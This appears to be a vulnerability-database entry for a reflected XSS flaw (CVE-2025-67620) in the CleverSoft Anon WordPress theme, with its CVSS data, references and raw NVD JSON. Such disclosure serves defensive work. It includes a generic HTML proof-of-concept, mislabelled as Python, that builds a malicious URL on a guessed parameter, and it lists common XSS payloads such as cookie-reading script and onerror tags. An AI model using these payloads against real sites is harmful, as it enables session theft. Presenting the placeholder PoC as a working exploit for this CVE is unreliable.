CVE-2025-67620

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CleverSoft Anon anon2x allows Reflected XSS.This issue affects Anon: from n/a through <= 2.2.10.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CleverSoft Anon WordPress Theme (anon2x) <= 2.2.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-67620 Reflected XSS PoC -->
<!-- Target: CleverSoft Anon WordPress Theme <= 2.2.10 -->
<!-- Vulnerability: Improper input neutralization leading to Reflected XSS -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-67620 PoC</title>
</head>
<body>
    <h1>CVE-2025-67620 Reflected XSS PoC</h1>
    <p>Target: CleverSoft Anon WordPress Theme <= 2.2.10</p>
    
    <h2>Malicious URL:</h2>
    <p id="malicious-url"></p>
    
    <h2>Attack Scenario:</h2>
    <ol>
        <li>Attacker crafts a malicious URL with XSS payload in vulnerable parameter</li>
        <li>Attacker tricks victim into clicking the link (social engineering)</li>
        <li>Victim's browser executes the injected JavaScript</li>
        <li>Attacker can steal cookies, session tokens, or perform actions on behalf of victim</li>
    </ol>
    
    <h2>Typical XSS Payloads:</h2>
    <ul>
        <li>Basic: <script>alert(document.cookie)</script></li>
        <li>Img tag: <img src=x onerror=alert(document.domain)></li>
        <li>SVG: <svg onload=alert(document.cookie)></li>
        <li>Event handler: <body onload=alert('XSS')></li>
    </ul>
    
    <script>
        // Generate malicious URL based on target
        var targetUrl = window.location.origin + '/wp-content/themes/anon2x/';
        var maliciousPayload = '<script>alert("XSS Vulnerability - CVE-2025-67620")</script>';
        var maliciousUrl = targetUrl + '?param=' + encodeURIComponent(maliciousPayload);
        
        document.getElementById('malicious-url').innerHTML = 
            '<a href="' + maliciousUrl + '" target="_blank">' + maliciousUrl + '</a>';
        
        // Note: This PoC demonstrates the vulnerability structure
        // Actual exploitation requires identifying the exact vulnerable parameter
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67620
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67620
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67620/
[4] VulDB https://vuldb.com/cve/CVE-2025-67620
[5] https://patchstack.com/database/Wordpress/Theme/anon2x/vulnerability/wordpress-anon-theme-2-2-10-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67620", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:02.210", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CleverSoft Anon anon2x allows Reflected XSS.This issue affects Anon: from n/a through <= 2.2.10."}, {"lang": "es", "value": "Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en CleverSoft Anon anon2x permite XSS Reflejado. Este problema afecta a Anon: desde n/d hasta <= 2.2.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/anon2x/vulnerability/wordpress-anon-theme-2-2-10-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}